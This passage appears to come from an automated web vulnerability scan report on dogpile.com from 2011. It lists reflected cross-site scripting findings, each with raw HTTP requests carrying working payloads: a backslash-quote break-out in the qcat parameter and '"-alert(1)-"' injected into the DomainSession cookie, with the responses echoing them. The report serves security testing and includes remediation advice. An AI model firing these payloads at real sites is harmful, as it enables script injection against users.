Set-Cookie: wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:59:25 GMT
Connection: close
Content-Length: 103613
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
pon, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/1d46d\\';6b7e482d682/Go+Daddy+CEO+Elephant';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=a7dbe50ac6c642a88691c16a3af0cb01&10=1&
...[SNIP]...

1.7. http://www.dogpile.com/dogpile_rss/ws/redir/_iceUrlFlag=11 [qcat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_rss/ws/redir/_iceUrlFlag=11

Issue detail

The value of the qcat request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c5ea\'%3balert(1)//e445c104ee1 was submitted in the qcat parameter. This input was echoed as 6c5ea\\';alert(1)//e445c104ee1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /dogpile_rss/ws/redir/_iceUrlFlag=11?rfcp=TopNavigation&rfcid=407&qcat=Web6c5ea\'%3balert(1)//e445c104ee1&qkw=MLB%20Schedule&newtxn=false&qcoll=Relevance&_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=0bca44db8e72477aac9fc16a3af0cb01&ActionId=fe86ba7b839e447e97c1c16a3af0cb01&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:19:34 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:59:34 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:59:34 GMT; path=/
Set-Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; path=/
Set-Cookie: wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:59:34 GMT
Connection: close
Content-Length: 145639
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
, more";
var addthis_offset_top = 20;
var addthis_hover_delay = 0;
var addthis_append_data = true;
var addthis_share_url = 'http://www.dogpile.com/info.dogpl.rss/Web6c5ea\\';Alert(1)//E445c104ee1/MLB+Schedule';
var callback_server_url = 'http://www.dogpile.com/clickcallbackserver/_iceUrlFlag=1?0=&1=0&4=173.193.214.243&5=173.193.214.243&9=fe86ba7b839e447e97c1c16a3af0cb01&10=1&11=info.d
...[SNIP]...

1.8. http://www.dogpile.com/dogpile/ws/about/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/about/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54db6"-alert(1)-"a2bb9b9271 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile/ws/about/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile/ws/faq/rfcid=416/rfcp=left/_iceUrlFlag=11?_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:07 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=3e82ee12b85f4b1a9dd9c16a3af0cb01&ActionId=530d17a155f848679bfdc16a3af0cb01&CookieDomain=.dogpile.com54db6"-alert(1)-"a2bb9b9271

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=530d17a155f848679bfdc16a3af0cb01&ActionId=65ee416eb3a24f0fa5bdc16a3af0cb01&CookieDomain=.dogpile.com54db6"-alert(1)-"a2bb9b9271; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:33 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:33 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:33 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:32 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 45022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=530d17a155f848679bfdc16a3af0cb01&ActionId=65ee416eb3a24f0fa5bdc16a3af0cb01&CookieDomain=.dogpile.com54db6"-alert(1)-"a2bb9b9271; expires=Fri, 01 Apr 2011 17:34:33 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.9. http://www.dogpile.com/dogpile/ws/contactUs/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/contactUs/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33fd5"-alert(1)-"768c24deab8 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile/ws/contactUs/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.infospaceinc.com/contactus.aspx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:11:55 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=8bf114849f6a409d9c06c16a3af0cb01&ActionId=2d7a6054427c4593a5ccc16a3af0cb01&CookieDomain=.dogpile.com33fd5"-alert(1)-"768c24deab8

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=2d7a6054427c4593a5ccc16a3af0cb01&ActionId=130c155302e24583b73bc16a3af0cb01&CookieDomain=.dogpile.com33fd5"-alert(1)-"768c24deab8; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:32:57 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:12:57 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:12:57 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:12:56 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 43573

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=2d7a6054427c4593a5ccc16a3af0cb01&ActionId=130c155302e24583b73bc16a3af0cb01&CookieDomain=.dogpile.com33fd5"-alert(1)-"768c24deab8; expires=Fri, 01 Apr 2011 17:32:57 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.10. http://www.dogpile.com/dogpile/ws/contactUs/rfcid=1293/rfcp=left/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/contactUs/rfcid=1293/rfcp=left/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b752"-alert(1)-"af835610013 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile/ws/contactUs/rfcid=1293/rfcp=left/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile/ws/about/_iceUrlFlag=11?_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:07 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=530d17a155f848679bfdc16a3af0cb01&ActionId=f4a5e3c498ee4fafa621c16a3af0cb01&CookieDomain=.dogpile.com7b752"-alert(1)-"af835610013

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f4a5e3c498ee4fafa621c16a3af0cb01&ActionId=b0aa64e9143c4175b855c16a3af0cb01&CookieDomain=.dogpile.com7b752"-alert(1)-"af835610013; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:27 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:27 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:27 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:27 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 43577

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=f4a5e3c498ee4fafa621c16a3af0cb01&ActionId=b0aa64e9143c4175b855c16a3af0cb01&CookieDomain=.dogpile.com7b752"-alert(1)-"af835610013; expires=Fri, 01 Apr 2011 17:34:27 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.11. http://www.dogpile.com/dogpile/ws/faq/rfcid=416/rfcp=left/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/faq/rfcid=416/rfcp=left/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b37d"-alert(1)-"effb104696b was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile/ws/faq/rfcid=416/rfcp=left/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile/ws/contactUs/_iceUrlFlag=11?_IceUrl=true
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677814261; wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:13:12 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=effaa55f51f3463da4cac16a3af0cb01&ActionId=3e82ee12b85f4b1a9dd9c16a3af0cb01&CookieDomain=.dogpile.com7b37d"-alert(1)-"effb104696b

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=3e82ee12b85f4b1a9dd9c16a3af0cb01&ActionId=973f3f31d2bf4a5f81ddc16a3af0cb01&CookieDomain=.dogpile.com7b37d"-alert(1)-"effb104696b; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:34:31 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:14:31 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:14:31 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:14:30 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 64231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=ba3967d21c5c40fc92fdc16a3af0cb01&SessionId=ee7a38726f9f4b44b1a6c16a3af0cb01&PrevActionId=3e82ee12b85f4b1a9dd9c16a3af0cb01&ActionId=973f3f31d2bf4a5f81ddc16a3af0cb01&CookieDomain=.dogpile.com7b37d"-alert(1)-"effb104696b; expires=Fri, 01 Apr 2011 17:34:31 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.12. http://www.dogpile.com/dogpile/ws/results/Web/april%20fools%20day%20pranks/1/42/Seasonal/Relevance/ [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile/ws/results/Web/april%20fools%20day%20pranks/1/42/Seasonal/Relevance/

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55b30"-alert(1)-"3ee9c7682b4 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile/ws/results/Web/april%20fools%20day%20pranks/1/42/Seasonal/Relevance/ HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
Referer: http://www.dogpile.com/dogpile_other/ws/index
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3725104394.20480.0000+cacheId+ms16:1301677190970; wsRecent=MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; wsViewRecent=1; DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:09:49 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=d32b0d4b3c514b5288d5c16a3af0cb01&ActionId=9a55e47eb80046fb8013c16a3af0cb01&CookieDomain=.dogpile.com55b30"-alert(1)-"3ee9c7682b4

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=9a55e47eb80046fb8013c16a3af0cb01&ActionId=5fefb16cf0bd440c93eac16a3af0cb01&CookieDomain=.dogpile.com55b30"-alert(1)-"3ee9c7682b4; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:30:54 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=8304cc0b8ab744899107c16a3af0cb01&LastSeenDateTime=4/1/2011 5:10:54 PM&IssueDateTime=4/1/2011 5:08:07 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 17:10:54 GMT; path=/
Set-Cookie: wsTemp=bigIP+3741881610.20480.0000+cacheId+ms17:1301677854263; path=/
Set-Cookie: wsRecent=april+fools+day+pranks,Web,Relevance,&MLB+Schedule,Web,Relevance,&Go+Daddy+CEO+Elephant,Web,Relevance,; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 17:10:54 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 160297

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=26f28f0af78442bc9f5bc16a3af0cb01&SessionId=d357b6175b6f40c6abe8c16a3af0cb01&PrevActionId=9a55e47eb80046fb8013c16a3af0cb01&ActionId=5fefb16cf0bd440c93eac16a3af0cb01&CookieDomain=.dogpile.com55b30"-alert(1)-"3ee9c7682b4; expires=Fri, 01 Apr 2011 17:30:54 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.13. http://www.dogpile.com/dogpile_other/ws/bookmark/rfcid=1211/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/bookmark/rfcid=1211/_iceUrlFlag=11

Issue detail

The value of the DomainSession cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 172f4"-alert(1)-"a0abe5fa114 was submitted in the DomainSession cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /dogpile_other/ws/bookmark/rfcid=1211/_iceUrlFlag=11?_IceUrl=true HTTP/1.1
Host: www.dogpile.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: wsTemp=bigIP+3792213258.20480.0000+cacheId+ms20:1301676964559; wsRecent=Go+Daddy+CEO+Elephant,Web,Relevance,&MLB+Schedule,Web,Relevance,; wsViewRecent=1; DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=86d1546926784d5188d2c16a3af0cb01&ActionId=f1e07d8163f9435e87f8c16a3af0cb01&CookieDomain=.dogpile.com172f4"-alert(1)-"a0abe5fa114; DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:56:05 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DomainSession=TransactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=6bf660ba2f2d44129b9bc16a3af0cb01&CookieDomain=.dogpile.com172f4"-alert(1)-"a0abe5fa114; domain=.dogpile.com; expires=Fri, 01-Apr-2011 17:18:00 GMT; path=/
Set-Cookie: DomainUserProfile=AnonymousId=9586353d328349b18887c16a3af0cb01&LastSeenDateTime=4/1/2011 4:58:00 PM&IssueDateTime=4/1/2011 4:55:38 PM&CookieDomain=.dogpile.com; domain=.dogpile.com; expires=Sun, 08-Mar-2111 16:58:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 01 Apr 2011 16:58:00 GMT
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 42237

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="DocumentRoot">
<head>


...[SNIP]...
ansactionId=93618d10e4ac4e349df4c16a3af0cb01&SessionId=9f70fd7ba5d44939a525c16a3af0cb01&PrevActionId=f1e07d8163f9435e87f8c16a3af0cb01&ActionId=6bf660ba2f2d44129b9bc16a3af0cb01&CookieDomain=.dogpile.com172f4"-alert(1)-"a0abe5fa114; expires=Fri, 01 Apr 2011 17:18:00 GMT; domain=.dogpile.com; path=/";
}
window.onload=fix_cookies;
window.onfocus=fix_cookies;
//-->
...[SNIP]...

1.14. http://www.dogpile.com/dogpile_other/ws/faq/_iceUrlFlag=11 [DomainSession cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dogpile.com
Path:   /dogpile_other/ws/faq/_iceUrlFlag=11

